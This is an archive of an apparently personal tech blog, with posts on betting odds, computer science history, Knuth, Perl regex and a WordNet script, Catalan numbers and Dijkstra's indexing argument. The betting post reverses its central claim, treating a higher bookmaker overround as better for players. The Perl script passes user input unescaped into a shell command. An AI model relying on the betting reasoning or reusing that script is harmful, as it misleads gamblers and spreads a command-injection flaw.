Tuesday, January 12, 2010

The Fundamental Theorem Of Betting

I used two popular websites to get betting odds for the today's match between Egypt and Nigeria. Here are some odds from two example sites:

Site 1: Egypt (2.90) - X (3.20) - Nigeria (2.35)
Site 2: Egypt (2.65) - X (3.10)- Nigeria (2.65)


Which site of the two should be preferred over the other? Generally, how to compare the attractiveness of different betting odds? In what follows, I am presenting what I call as the "fundamental theorem of betting".

Consider just the single game "Egypt vs Nigeria" which has 3 possible turnouts: "Egypt wins", "nobody wins" and "Nigeria wins". Let us also consider that we have a budget of Δ dollars and that we split this sum to all three turnouts, betting Δ1, Δ2 and Δ3 respectively. Finally, for every event, we expect to win some money, say W1, W2 and W3. In general, we are just interested in winning more money than we spent ( Δ dollars), so for every event that might take place (e.g. "Egypt wins" ) we might want W1 > Δ or W2 > Δ or W3 > Δ. But we might want to ask: Can all of these inequalities hold? The obvious answer is no. Otherwise, the booker would go bankrupt. Next, we have to ask: What values do the W's satisfy? It turns out that this is a linear function, with coefficients determined by the betting odds of the booker!

Consider that we have a budget Δ and we want to split this in all k possible turnouts. Thus, we will have to pay Δ1, Δ2,Δ3,..., and Δk respectively. For every turnout i the booker provides a betting odd Mi. This means that we will win Wi = Mi * Δi, in case of this turnout. Finally, every profit has a specific ratio of the whole budget Δ. This is the real profit since we are interested in making more money than we spent. For every turnout the profit will be denoted as: Ai = Wi / Δ. One can easily see that:

(A1/M1)+(A2/M2)+...+(Ak/Mk) = 1

For clearer inspection:

This is what one could call the "Fundamental Theorem Of Betting".

Remember that the μ's are the booker's betting odds and the α's are the ratios of profit over the overall budget. For example, if we invested $200 in total and Α1 = 2.0 then if turnout #1 happened we would win 200x 2.0 = $400 and so on. When an α is greater than 1 this means that we won more than we invested in total and so we are interested in establishing at least one α greater than 1.0. This means that it would be useful to consider one single quantity:

M = (1/M1)+(1/M2)+(1/M3)+...+(1/Mk)

The following cases now exist:
1) M > 1.0
If this is the case then the booker is going bankrupt. Players can construct a set of α's such that all of them are greater or equal to 1.0. This means that every player either wins more than he spent in total or he gets his money back (zero loss)

2) M = 1.0
In this border case, the players can set all α's to 1.0 and never suffer a loss. This is not very meaningful and players might try to disturb the ratios by increasing and decreasing some of the ratios.

3) M < 1.0
This is expected to be much more frequent in real world betting odds. Players will have to decide how to distribute their bets.

What's more important, the quantity M can be used as a metric of how attractive the betting odds are. The greater the quantity M is, the better the odds are for the players. Going back to the example in the beginning we have:

Site 1: M = (1/2.90)+(1/3.20)+(1/2.35) = 1.0828
Site 2: M = (1/2.65)+(1/3.10)+(1/2.65) = 1.0773


One can see with a single arithmetic comparison that Site 1 gives slightly better margins for profits (1.0828 is bigger) and it should be preferred to Site 2. Even within the same book house, players should prefer games with higher M factors than others. The first step to a complete "Theory of Betting" has been made!

Thursday, December 17, 2009

The Most Influential Person On Computer Science

Who was the most influential person on computer science (or computing if you prefer)? A web search is not particularly helpful. Most of the times, the pages I got were confusing CS with programming. However, to quote Edsger Dijkstra, "Computer Science is no more about computers, than astronomy is about telescopes". Some names may come quickly to
mind: Alan Turing, Church, Kleene etc, were all pivotal to the development of the computing science. But a deeper search can reveal the person who had the most critical impact: David Hilbert.

Hilbert was a German mathematician who worked on an incredible range of subjects: number theory, logic, geometry and over to special relativity theory. Yet, it was not his direct contribution that matters, but the influence he had to others on working on the fundamentals of computation. And it all started by his zealous stance towards a deep philosophical debate of the "ignoramus et ignorabimus".

And now the story begins.

Back in 1872 Emil du-Bois Reymond was a well-respected physiologist with considerable work on electro-physiology, studying the electric "properties" of human and animal tissues. At this year, he publishes a paper in which he claims his philosophical belief of "ignoramus et ignorabimus" (=we don't know and we won't know). This was a slightly more pessimistic version of the well known Socratic view "I know one thing; that I know nothing" but it was gaining acceptance through the philosophical circles at the time. The main point was that there are some stuff that humans do not know and they will never know (e.g. the origin of life or the universe) One might agree that it seems like a yet-another harmless philosophical idea. Some people were supporting it, others would be skeptical, but all in all, life would go on. But science was meant to take a dramatic turn because a man would take this debate to the extreme.

At that time David Hilbert was 10 years old. In subsequent years, through his work, he would confront deep philosophical problems, even within mathematics. However, the "ignorabimus" movement had really hit his nerve. In 1900, in the International Mathematics Conference in Paris, he addresses a call to arms to mathematicians by claiming: "in mathematics there is no ignrorabimus!". He uses mathematics to exterminate once and for all the pessimistic view, and claims that there should be a finite process of inference rules, that when applied, they would infer any correct statement. He then asks from mathematicians to help him in this direction (the 2nd problem in the problem list he announces at this speech was related)

Almost 28 years later, in 1928, Hilbert poses yet another challenge: The Entscheidungsproblem asks specifically for an algorithm that will be able to decide if a specific statement (e.g. 1+1=2) is true or not. During the 30's great things just start happening. In 1931, Kurt Godel breaks the first problem with his ground-breaking theorem of incompleteness. In short, most interesting systems, can either infer contradictory statements or they cannot infer some correct statements. Later, in 1936 and 1937 Church and Turing independently solve the last puzzle by proving that there are statements that cannot be proved or disproved. Hilbert's dream was shuttered but a new scientific field was born out of the proofs of these very problems! It is important to note here that, 5 years before his proof, Alonzo Church was in the famous Gottingen University during the years 1929-1931, visiting...David Hilbert.

But wait, there is more! It was not only theoretical computer science that was catalyzed by the influence of David Hilbert. The creation of the first general-purpose electronic computers would be pioneered by his assistant. Even in 1942, one year before the ENIAC project, Hilbert's former assistant in the University of Gottingen, would start an ambitious project of creating a general-purpose computer in the Institute of Advanced Studies at Princeton University, that ended in 1952. His work all these years marked the beginning of this era and his architecture is preserved more or less even in today's computers. His name was ...John Von Neumann!

Other than Hilbert, who else can claim of having a bigger impact on computer science?


Wednesday, April 15, 2009

If Philosophers Were Programmers

Although not obvious, philosophy actually has a strong relation with programming, at least for me. If you think about it, software code reflects much of how the developer perceives the problem and its solution. Before starting to program, developers spend some time thinking over the problem, identifying important properties and their underlying connections, a process that reveals their philosophy as the way they perceive real-word situations. Likewise, philosophers are constantly trying to identify the most important properties of the issues they reflect on, like life, conscience or God.

Under this perspective one might be able to make a consistent mapping of the ideas behind programming languages and the ideas that philosophers have come up over the years. It is perfectly reasonable to consider the programming languages as the different philosophies of a virtual world, in which entities do exist and interact with each other. To this respect, even the fundamental philosophical questions receive an interesting transformation: For example "What is self-conscience?" can be rephrased as "What is reflection?".

To the fun part, one might ask: "What if philosophers were programmers? What programming language they would use?". Well, here are my answers!


Socrates : The Hardcore Assembly Programmer
Socrates was one of the founders of philosophy but this is not where the connection ends. Socrates had devised a clever methodology to win every debate. He kept asking questions until a contradiction was reached. So, when someone would claim "morality is important", Socrates would ask "How do you define morality?".


In a similar manner, everything in Assembly begs for a question. There is nothing pre-assumed (at least in pure Assembly, not the distros filled with pre-processed libraries and other junk) and everything has to be as succinct as possible to have a meaning. If you were to work with the programmer Socrates and shared something like "var x = null;", your partner would start by asking "What is var?" !



Aristotle : The Influential C Programmer
Aristotle had a huge impact on Western philosophy, founding many scientific areas, from physics to biology. He was the first to closely examine real entities as the real essence of everything, in contrast to Plato's abstractions. His philosophy is driven by the golden mean as the key to reaching morality or understanding life (matter and form).

The C programming language was equally influential to the design of all other "programming philosophies", most obviously in the syntactical level. In addition, by the time of its writing in the early 70's, C was supposed to be the golden mean between the so-called high-level languages and the Assembly language, combining the capability to write machine-independent code combined with the power of low-level access.



Plato : The Idealistic C++ Evangelist

Plato is a huge figure in philosophy, student of Socrates and teacher of Aristotle. That said, I owe you an explanation about the obvious anomaly: How come that C++ is coming after C? Let me explain. Plato is famous for his Forms or Ideas, that refer to the archetypical versions of the things around us. So, the cup in your desk has is a shadow of a similar oval-shaped archetype in the world of Ideas. In programming words, it is an instance of the Cup class.

Similarly, C++ , as an extension of C, is the first language that tries to capture this idea of forms by giving the developers the capability to abstract the problem before doing anything else. This is a major step by itself, since even if no actual code solving the problem is provided, the classification and the problem modelling are evident and valuable to others. You might wonder, why Plato would not program in Java. Well he could, but there is another parameter to the story: Plato is not so confident how symbols can represent his Forms, and clearly prefers the spoken dialogue (as mentioned in Phaedrus). In a similar manner, C++, not entirely confident in its direction, remains a superset of C, being fully backwards-compatible with the more non-ideal syntax of C.



Stoics : The Happy Perl Community
Stoics and their philosophy (Stoicism) had silently, a far-reaching impact not only to Western philosophy but to the philosophy and the global culture as a whole. Interestingly enough, there is no single man behind it, but it was actually a collaborative intellectual achievement. Stoicism denies anything immaterial and tries to explain the world through propositional logic. So, Stoics reject everything Ideal and concenrate in morality, in which they call us to get free from anything we can't control, but rather appreciate the freedom to self-introspect and reach true wisdom. Stoicism rejects political systems and other formalities, and promotes Socrates' citizen of the world for everyone. People are meant to be brothers, away from distinctions, aiming to contribute happily to a society of friendship and love (jus commune gentium). You should already notice the influences to most widespread religions, like Christianism and Buddism.

Most interestingly, Perl was created in the 80's, a decade in which finally logic/functional programming had found its place in the programming languages world. However, the Perl community (and language) shares much more striking similarites with the Stoics and their philosophy. Perl as a language is to the best possible extent, free of form. Actually the most common phrase in the Perl world is "there is more than one way to do it" or TIMTOADY for short. The philosophy behind Perl rejects syntactical constraints, giving the freedom to its programmers to code in their style, but at the same time encouraging sharing and contribution to the community. Perl's power lies to a great extent to the existence of CPAN, the archive of modules and software happily shared by Perl programmers all around the globe. The language's influence to the programming world has been silent, but much more far-reaching than what is immediately observable. One could mention its strong influence to scripting, dynamic typing and functional programming, but it could be summarized to a joke which is familiar to Perl fans: The next market's crash will be triggered by a bug in someone's Perl script.



Rene Descartes : The True Java Guru
Descartes was the first philosopher of the Western culture to stand up against the Classical Ancient Greek philosophy. His core philosophy as mentioned in his famous Article 7 of the "Les principles de la philosophie" is based on the concept of cogito (=intellectual ego). Descartes believes that doubt is a proof of existence, and cogito is the cause of doubt, arriving to the famous "cogito ergo sum" (=I think therefore I exist). The cogito is not just another process we do, but actually all we do. So, what we want, imagine or feel is directly accessible through it. Descartes nearly 'proves' the existence of God, by the fact that we are able to think about the necessity of his existence. In fact any Ideal or Form can be directly accessible by our cogito. Descartes also marks another landmark in the history of philosophy: Beginning from his work, philosophy is trying to avoid confusing abstractions and to establish a succinct, almost geometrical form. Descartes presents his ideas nearly in the form of theorems.

Descartes would be the perfect Java guru. Java was the first strongly-typed language, in which everything must have a type (or share a Form) before it is being used, matching perfectly the Descartes' efforts to be always exact for what he is talking about. Descarte's cogito is in fact a revisit of Plato's Forms, with a slight variation in which ideals exist because we think about them and not in another universe. To that respect, his philosophy is purely object-oriented, as the solutions in which we arrive, are direct products of our intellects.




Immanuel Kant: The First Python Programmer
Kant found the 'easy' way to the pantheon of philosophy by rejecting two prevailing and opposing methodologies, Descarte's cogito and the empiricism, by shouting 'It's both!'. Kant investigated how humans reason, claiming that experience offers the truth, but which has already been filtered by intellectual judgement (a priori). At his mature years, he examined aesthetics, and the theory trying to explaining the way we perceive beauty. Kant was an extremely concise personality, being obsessed with tideness and exactness, doing the same things, exactly at the same time every day, to the extent that his acquaintances were 'using' him to calculate time!

Similarly, Python is a programming language that tries to combine different solutions and promote it as a new one. As a language it accepts multiple programming paradigms, from object-oriented to contract-based programming. Python programmers reject the free formats of languages such as Perl, and although they borrow several features from it, they emphasize on simple and explicit code. Python becomes so 'obsessive' that imposes whitespace identation as delimiters for code blocks to its users. In the "Zen of Python", the first out of the 19 commandments, the first one is "Beatiful is better than ugly". Kant's obsession to beauty and aesthetics, makes him triumphantly the first Python programmer ever.



Ludwig Wittgenstein: Natural Born Haskell Programmer
Wittgenstein reformed Western philosophy going as deep as to examine Socrates' 'recipe' for debate success. His monumental work, the Tractatus Logico-Philosophicus, can be compared to a hard graduate mathematical book in Logic. Wittgenstein identifies the semantic and symbolic forms as the root of all philosophical problems, leaving the rest that can be explicitly defined as the subject of science. Using pure logic, he deducts that language inherent ambiguity is what makes philosophy repeat itself, and closing his book with the famous 'What we cannot speak of, we must pass over in silence', claims to have solved,..., all philosophical problems.

Wittgenstein is a natural born Haskell programmer. Haskell was not the first functional programming language in town, but from late 80's and onwards, it has prevailed as the most important among the group. Haskell is not meant to be accesible by anyone, and just like the austere and succinct Tractatus, as Wikipedia states, it has a strict mathematical and logical form. Haskell, being purely functional, goes as deep as redefining the way we treat abstract data types, the same way Wittgenstein goes back to Socrates' dialectic to reform modern philosophy.


These all may sound weird, but for programmers, it is easy to realize these deeper connections. I am not quite sure if the same holds for philosophers. Anyway, at least by now, it should make much more sense why in every article in Wikipedia, presenting a programming language, there is special section named "Language philosophy".


Tuesday, December 2, 2008

My Daily Encounter With Orion

Programming is happening mostly at nights, at least for my case, because this guarantees silence and concentration. I barely can stand 2-3 hours of constant typing (unless I am really absorbed) and so I am frequently making some quick breaks by hanging around my balcony to get some good, fresh air.

I have the great privilege to be able to watch a big deal of the sky, since my house is not located at the center but in a quiet semi-suburban area near the sea, but never actually bothered to know more about the things I was gazing at. This is when I decided to set up Stellarium on my computer.

The first lesson was about the big bright triangle that I was seeing more and more often lately. It's base has three stars and it turns out it is the most known constellation on Earth. It is the Orion constellation (photo). If I was less ignorant, I'd know the basics, i.e. that Orion is visible to almost all of the Earth and in Greece it moves from East to West during the winter nights.

Wikipedia states it is the longest observable constellation, since it was formed 1.5 M years ago and it will last for the next 1M-2M years, thus having a great bond with human civilization. Orion is to be found on all cultures. In Ancient Greece, Orion was a Hunter who questioned Gods' power on Earth. Near Orion, on can find many other sky landmarks, such as Sirius on the east, the brightest star of the sky, the Taurus on the West and the Pleiades, the little 7 stars who look a little cloudy, which are next to it. Ancient imagination sometimes linked these stars together by picturing a fight of Orion with Taurus or sometimes Orion chasing the Pleiades.

Once an overwhelming experience that excited the imagination, then a great navigation tool, the stars seem to have lost their impact on human civilization (well at least the sky stars). Astromoners have computed their behaviour to the final digit to begin with.

However this is still a rewarding activity and altough I don't know if I ever forget anything that I have learned so far, since it is already a daily routine I will expect that at 4-5 am of every winter morning, Orion will be there pointing to the North, making some good company during my quick and cold homeworking breaks.

Thursday, September 25, 2008

Donald Knuth And The Complexity Of Songs

Donald Knuth is a living legend among computer scientists. His monumental work-of-life "The Art Of Computer Programming" (I was never able to fully follow it) is a standard reference/textbook/work of art for computer science. Mr. Knuth took a new, immature geek-only hobby and transformed it into a solid and complete scientific discipline.

Among his contributions, the systematic analysis of the complexity of algorithms, really stands out. As a concept complexity is very familiar to developers. It refers to how a specific algorithm or algorithmic solution to a problem scale to the 'problem size'.

If his work is a reason to admire him, his humor is a reason to love him. Recently, I had the most splendid time reading his hilarious paper titled "The Complexity Of Songs" ! Here is the story.

A song has some lyrics which we have to remember in order to sing it. Humans are trying to learn lyrics of length (space complexity) to sing a song of length n. You would expect mathematically that s ~ n, but Knuth investigates all human 'inventions' to reduce the song space complexity!!

After a series of 'theorems', Knuth proves the existence of songs with s= a.n, a<1, s="O(sqrt(n))," s="O(logn)">and finally.....s=O(1)!! Yes, you read well. 

Knuth argues the first step was the invention of the refrain, the repeated part of a song. If the song has m verses of length and the refrain has length R, then the song length is roughly n = V.m+R.m and the complexity s = m.V+R. Hence we have a reduction of V/V+R in song complexity. So, a refrain is also a tool to save some memory space to remember the song!

Remember the old song "Old Mc'Donald had a farm, Ei-gh,Ei-gh,Oh!" ? Well this has a complexity s = O(sqrt(n)). It is much like the Greek song "Οταν θα πας κυρα μου στο παζαρι...". In this pattern, each verse includes all previous verses. For verses n = o(m^2) and s = O(m), so s = O(sqrt(n)). This means that it is much easier to remember! That's why they are most suitable for children! A same pattern can yield a log complexity.

Now to the best part, Theorem 2 is the real killer! The introductory text goes as follows:"However, the advent of modern drugs has led to demands for still less memory, and the ultimate improvement of Theorem 1 has consequently just been announced:

Theorem 2 (Donald Knuth)
There exist arbitrarily long song of complexity O(1)

PROOF. Define U = 'uh huh','uh huh' and the k-th verse Vk = 'That's the way', U, 'I like it', U . This is a constant V. Then the song V^k, completes our proof!! Oh dear!

This last one really cracked me up!!!   :)

Friday, September 5, 2008

A One-Line Code on How To Parse a URI

Uniform Resource Identifiers(URI) is perhaps synonymous to the Internet itself. As the name implies it is used to identify something on the net. Typically a URI is a different than a URL(Uniform Resource Location) but in most cases we use them interchangeably.

Mathematically URI=URL+URN, which means an entity can be identified either by its location(URL) or its name(URN). See the relevant Wikipedia page for details.

Every URI has the following syntax:
(scheme)://(authority)(/path)?(query)#(fragment)
with query and fragment being optional. So in a URI like http://www.example.com/comment?id=1#1123, we have:

scheme="http"
authority="www.example.com"
path="/comment"
query="id=1"
fragment="1123"

A very common task is when we have to parse a URI into its components. The most usual case is URL normalization, which is essential for search crawlers. During this process, a URI is trinsformed into an equivalent canonical form, such that 2 different canonical forms cannot refer to the same resource. For example the URL http://www.example.com and the URL http://www.example.com:80 , are different but refer to the same location on the net. This greatly helps spiders retrieving every time pages they have not visited before. You can find a good article about URL normalization here.

To parse a URI using a regular expression is really easy. In fact the method to do this is given by Tim Berner's Lee (photo) himself in the RFC for the URI standard. Using Perl, if $uri has the URI then by applying
$uri =~ /^(([^:\/\?#]+):)?(\/\/([^\/\?#]*))?([^\?#]*)(\?([^#]*))?(#(.*))?/;

Then:
scheme=$2
authority=$4
path=$5
query=$7
fragment=$9

That's it! All languages (C#, Java etc) has an almost identical syntax and it is straightforward to port it there given that $n refers to the n-th group.

Tuesday, July 15, 2008

Wi-Not Mobile: A Different Pocket PC Freeware Application


[This article discusses a new freeware application for Windows Mobile devices, in the creation of which I feel excited to have participated. It is called Wi-Not Mobile and can be found in this site]

You may have noticed for some time the link on the right. It points to a new mobile platform we built, a limited number of talented professionals and me. Starting with silly little ideas, it quickly grew to integrate some research results of our personal projects. The result was Wi-Not Mobile, a mobile platform for information, communication and entertainment. Wi-Not Mobile is a freeware pocket pc application and you can find it here. It is on air for a week now and with limited or now advertising has far exceeded 1000 registered users and many more downloads. Here is a small tribute to this one-year full time effort and some technical details for those who are interested.

For a quick introduction here is a Youtube video, which tries to describe Wi-Not Mobile in 4 minutes:



We have received so much feedback, both good and bad and I feel really intrigued in trying to understand how others view this application and we are so enthusiastic we really see criticism as an opportunity. It may sound typical but it is true. Here is my understanding.

First of all, Wi-Not mobile is not an application. It is a platform and there is a perfect reason for that. The platform is a more general concept and solves much more difficult problems than an application. Wi-Not's platform defines a basic API which we later use to create all different functions that exist inside. Let's iterate through the various features to show how.

Wi-Not Mobile offers free web TV streams for your Pocket PC, but also the client to consume it. If we were limited to this (like tons of other popular TV playing programs) then Wi-Not would be an application. But we are not. TV streams in Wi-Not Mobile are updated automatically whenever there is an available new version of the TV channels. The same holds for the web radio streams found in Wi-Not Mobile. This alone does make an excuse for the term 'platform' but the story is not over yet.

The Instant Messaging module of Wi-Not is a clean and efficient way to exchange messages. Of course it was not built to compete with already popular mobile IM clients (MSN Mobile and others). But there is something special inside that is actually a function that the underlying platform can support. It enables for automatic translation. For example, a user can define that he writes in Spanish, his friend define that he reads in Italian, and still be able to communicate in their native languages, a feature that at least for now cannot be found in any other IM mobile client.

Moving on to entertainment portion, we arrive to what we tenderly call "Wi-Lol". There is another trick here. What it can do? You simply type the game you want to play, and the module (using the platform's middeware) will locate free and available flash games to play in your mobile. The difference with other similar functions is that we do not store a single byte of game content. So how is it done? The platform defines a search API, which can have many "flavors" (inheritance in programming words), and these can be a web search, game search, or a music search. Each of these kinds share some common properties (base class) but in the meantime have many differences. The game search module of the Wi-Not locates flash files and reports back available links. With the embedded flash player it is possible to play it on the fly!

There is also a great option for getting music on your pocket pc. We have put there a special media finder, which can accept keywords for your search and locate audio files. This is entirely new for a mobile application. Again, we do not store a single byte of audio content. With a hit rate of around 90% you will able to get the mp3 file you were looking for. Again the platform here plays the most crucial role. It is able to maintain places that are more probable to provide with an answer and also to dynamically find more.

I could really talk for hours about this stuff but I am sure it will bore most of the people. There are certainly many more posts coming about this effort. We are really excited about the outcome and ready to do more. There are also many hard lessons from releasing into public your creations and perhaps I should talk about it later.

Till then you are more than welcome to download Wi-Not Mobile from here and I would be grateful if you could provide with your thoughts about it. Have fun!

Monday, June 2, 2008

Catalan Numbers, Dyck Words and Robots Climbing Stairs

Repeating is the very nature of recursion, so this article continues over from the previous post over recursion and stack usage. If you don't remember the initial problem here it is again:

"Imagine a robot(say Asimo) that climbs up stairs and has one very simple function step() which succeeds with a probability p and climbs up one stair, and fails with a probability q and climbs down one stair, with p>q and p+q=1. Write a function step_up() guaranteeing that the robot will climb up exactly one stair."

It is easy to create a quick and dirty recursive solution:

void step_up() {

if(!step())
{

step_up();
step_up();

}

}

While this solution is not the best (a better one is provided also in the previous post with the while version), it is most interesting to calculate the number of times that step_up() will be called, in other words to calculate how large the stack size will be.

There were two solutions available: To calculate it analytically or use a recursive technique to do it. With the recursive technique we can set: If X is the number of average calls to step_up() then X = p.1+q.(1+2.X) which yields X = 1 / (p-q) . Both easy and really smart!

However, going analytically is much more difficult but it is most amusing! As I said in the previous post, going the analytical way would mean trouble. Trying it myself I left it unfinished when facing a difficult combinatorics sub-problem. By a really weird coincidence, today I stumbled upon a number of interesting combinatorics tools which could help solve it analytically once and for all!. Here is how it goes.

First, it is clear that is impossible that the step_up() function will be executed an even number of times, for each failed execution two more executions occur. We should wonder: What is the probability that the function will enter 1 time? Clearly it is p. What is the probability of entering 3 times? This would mean failing the first time and succeeding the other 2 times, a total probability of q.p.p = q.p^2. If we want to calculate how many times the function will be executed 5 times we will have to count all possible 'combinations'. We will follow the encoding X1-X2-X3-...-Xn , if we would like to denote a case where the function is executed n times where Xi is either F or S, meaning failure or success at step i respectively.

With this notation we have:
step_up() enters 1 time: Cases: S Combinations:1
step_up() enters 3 times: Cases: F-S-S Combinations:1
step_up() enters 5 times: Cases: F-F-S-S-S, F-S-F-S-S Combinations: 2
step_up() enters 7 times:
Cases: F-F-F-S-S-S-S, F-F-S-F-S-S-S, F-F-S-S-F-S-S, F-S-F-F-S-S-S, F-S-F-S-F-S-S
Combinations: 5

Stop here. There is one important property of every X-X-X-X.. string with n elements, which is that for any initial substring the number of S's is not greater than of the F's. Why? Because if this was the case , the robot would climb up one stair sooner than n steps! Cool! Now, one more thing: It is easy to establish that the last element of the every string will be S, which actually means that the last step of the robot will be to the upwards direction. Ok, this is clear. So let's formulate again the problem.

We have a string with two possible letters, F and S, of length 2.n, in which we have n F's and n S's and for every initial substring the number of S's does not exceed the number of F's. Now we want to calculate the number of all valid combinations for this case. But how to do that? Well, here comes the so-called Dyck words because what we described previously is what exactly how a Dyck word is defined! Now, there is this theorem that states that there exactly Cn Dyck words of length 2.n. What is Cn? But the Catalan numbers of course!

What are the Catalan numbers?? There are defined with the following equation
C_n = \frac{1}{n+1}{2n\choose n} = \frac{(2n)!}{(n+1)!\,n!} \qquad\mbox{ for }n\ge 0.
and they occur very often in combinatorics problems. In our problem they calculate all possible 'configurations' in which the step_up() function will be called exactly (2.n+1) times (Remember that the last step is always up, this means the last call is always successful). This means that the average calls of step_up() is calculated by, Now the generating function of the Catalan numbers in the following equation
c(x)=\sum_{n=0}^\infty C_n x^n.
is given by the equation
c(x) = \frac{1-\sqrt{1-4x}}{2x}
Using these equations in combination with the derivative of c(x) for the case with the n coefficient it is easy to arrive to to X = 1 / (p-q)
Wow! Recursion, probabilities, encoding, Dyck words, Catalan numbers, generating functions, all combined to arrive analytically to the complexity of the recursive function step_up()!! Now, what you will prefer, depends on you: Either an elegant and smart solution or a rigorous, brute but educating analytical approach! Your call!

Tuesday, April 15, 2008

"Time Is What Prevents Everything From Happening At Once.." - John Wheeler (1911-2008)

The quote continues: "Space is what prevents everything from happening to me!"
John Wheeler, has for a long time, been studying advanced concepts of theoretical physics, which for the most people are somewhat taken for granted, space,time, gravity and so on. He passed away in Sunday, 13th of April 2008, at the age of 97.

John Wheeler was one among the last of the 'big school' of theoretical physics. He has worked with legendary figures such as Niels Bohr, Oppenheimer and Albert Einstein(related photo) and he is the inventor of the popular term 'black hole', this strange 'creature' that is so big that even its own image cannot evade from its infinite gravity (visible light cannot reflect or be emitted) At some point in 1941 Wheeler joined the famous (or infamous) Manhattan project. Among his graduate students as a professor in Princeton, were Richard Feynman and Kip Thorne.

I suppose, everybody from a CS background has developed at some stage of his life a certain interest for astronomy and physics. I, my self, at a young age was a fan of such fields along with science fiction. I never actually understood what was going on with these strange quantum equations but I think I find my self equally astonished when confronted with concepts like 'black holes' or 'time bending'. Astonished at least.

You can find lots more information in the official press release from the Princeton University site.

Sunday, April 6, 2008

Why The Array Index Should Start From 0

I recently came across an article from Dijkstra(photo) explaining a fact that looked obvious to me before: Why should start indexing an array from 0. I was amused to find out that there is some clever thinking behind this.

All popular languages, like C/C++, Java or Perl start indexing an array from 0 while the last index is the array length minus 1. While this is usual to most developers, it is not a de facto situation for all programming languages. For example in Fortran, when you declare an array with 'integer a(10)', aka an int array having 10 elements, the index starts from 1 and ends at 10 (however you can override this behavior using a statement like, integer a(0:9), declaring an array with indices from 0 to 9, but anyway).

The discussion over why the array index should start at zero is not a trivial one and relates to interesting concepts from computer science. First of all, it has strong relation to language design. For example in C, the name of an array is essentially a pointer, a reference to a memory location, and so the expression array[n] refers to a memory location n-elements away from the starting element. This means that the index is used as an offset. The first element of the array is exactly contained in the memory location that array refers (0 elements away), so it should be denoted as array[0]. Most programming languages have been designed this way, so indexing from 0 is pretty much inherent to the language.

However, Dijkstra explains why we should index from 0. This is a problem on how to denote a subsequence of natural numbers, say for example 1,2,3,...,10. We have four solutions available:
a. 0<i<11
b. 1
<=i<11
c. 0
<i<=10
d. 1
<=i<=10

Dijkstra argues that the proper notation should be able to denote naturally the two following cases:
1. The subsequence includes the smallest natural number, 0
2. The subsequence is empty


Requirement 1. leaves out a. and c. since they would have the form -1<i which uses a number not lying in the natural number set (Dijkstra says this is ugly). So we are left with b. and d. Now requirement 2. leaves out d. since for a set including 0 that is shrunk to the empty one, d. takes the form 0<=i<=-1, which is a little...well, messed up! Subtracting the ranges in b. we also get the sequence length, which is another plus. Hence we are left with b. which is by far the most widely used notation in programming now.

Now you know. So, remember and take pride in the fact that each time you write something like

for(i=0;i
<N;i++)
{
sum+= a[i];
}
you are not just following the rules of language notation. You are also promoting mathematical beauty!

Thursday, April 3, 2008

Perl by Example: English Dictionary In 22 Lines

[Update #1] This post has been cited from Princeton's WordNet Project as a nice Perl extension. You can find lots of more of information about WordNet here.

[Update #2] Many thanks to my brother Costas, for buying me the ultimate Perl book: "Programming Perl, 3rd edition" by Larry Wall. Thanx bro! :)

WordNet is an online English dictionary from the Princeton University. It has some hundreds of thousands of words and it keeps growing. You have absolute access to the resource and there are interfaces in practically all programming languages. It is not tough to build one from your own, but I ceize the opportunity to make an introduction to a really special programming language: Perl. Of course a crappy blog post cannot introduce a such extensive language as Perl, but additional Perl articles are sure to follow!

For the history, Perl was designed as a so-called 'glue' language for Unix, simply for doing things that with other tools were somewhat difficult. Created in the mid-80's by Larry Wall, in a one-man project as a fast reporting tool, it is now spread to all machines and applications. I have never used Perl for large GUI-demanding projects, but it has been a killer for simple but heavy tasks.

Whatever the objections, you may find Perl great for one simple but rare thing: Perl has culture. Its creator and all people actively involved in Perl's development share a number of values: Freedom, innovation and a unique sense of humor. To explain, I have two Perl books in my library: "Learning Perl" and "Programming Perl", affectionately called by the Perl community as the "Alpaca Book" and the "Camel Book" for the animals on the cover (Camel is the Perl mascot as shown in the figure). For me they are the most easy-read programming books that I have read. Anything else I use as a reference because I find programming books too hard to follow for long. But these differ. The style of writing and the humor that they transmit make you read them in literally one breath.

Anyway, the best way to introduce a language is by example, so here is mine for Perl: To build an English dictionary based on Princeton's WordNet. Believe it or not, all in all it takes 22 lines to do it! You may see the interface with the program in the following video. When you are done you might want to check the source code with some comments for better understanding.


The Perl source code follows:

my $word; #declares a scalar variable.Perl has two basic types: scalars and plurals(lists,hashes)
our $message = "
\nPlease enter a word to look for:\n>";
print $message;
#prints our message
while($word = <>) #reads the word the user searches for
{
chomp($word);
#remove last character (the '\n', new line)
if($word eq "<") { system("cls"); #if user types "<" clear screen
print $message; }
else {
print "Connecting..";
my $url = "http://wordnet.princeton.edu/perl/webwn"."?"."s=".$word;
#WordNet URL
`wget -q -Oindex.html $url`; #download the results
open FILE,"<","index.html"; #open the result web page locally
print "\rOk.Results:";
while(<FILE>)
#for every line in file
{
if(/<\s*b>$word<\/b>[^\(]+\(([^\)]*)\)/)
#match a pattern, don't be scared!
{ print "\n#def#$1"; } #..and print the word definition !
}
close FILE;
#close file
print "\n>";
}
}



What might scare you off is the pattern matching line, especially if you have never come across regular expressions before. The logic is this: In WordNet result page, each word definition comes with original word in bold and the explanation in parentheses. For example if we search for 'developer' it may have the following format:
...developer...(a man who develops)...
...developer...(sometimes referring people creating software)...and so on
What the pattern matching does it to match if the line has the word we search for in bold and then extracts the sentence in parentheses.
When it comes to pattern matching, Perl is the king.

That's all. If you already have a Perl distribution, you can test it yourself. If you don't and you would like to give it try, for Windows there mainly two distributions. The one is from ActiveState and you can download a Windows Perl distribution named ActivePerl here (just click the download button). The other is called Strawberry Perl, it recently came out of beta and you can find it here. I haven't tried but it may well be good.

Needless to say, Perl is free and always will be! So ride the camel and enjoy!

Tuesday, March 18, 2008

Arthur C. Clarke: 90 Orbits Around The Sun (1917-2008)

Well, I guess this is something that we should get used to: Living in a world without our heroes. This year, Robert James Fischer, a hero of childhood died, and now it is Arthur Clarke, who died today(19 March 1:30am Sri Lanka local time) at the Apollo Hospital in Colombo, Sri Lanka.

Sir Arthur Clarke was a writer (among other things), whose work we have hard time classifying. Was he a fiction writer? He could be, because he wrote about computers with human intelligence, extra-terrestrial worlds, different living species and so on. Was he writer and a technology popularizer? He could be since he write about computers, space expeditions, wireless communications and being a step ahead from his time, predicted the man on the moon by 1970, the invention of satellites and so many other. His "Space Odyssey", 'featuring' the HAL supercomputer (actually a wordplay of IBM, if you shift by one the letters), was directed by Stanley Kubrick and is one of the kind in science fiction films.

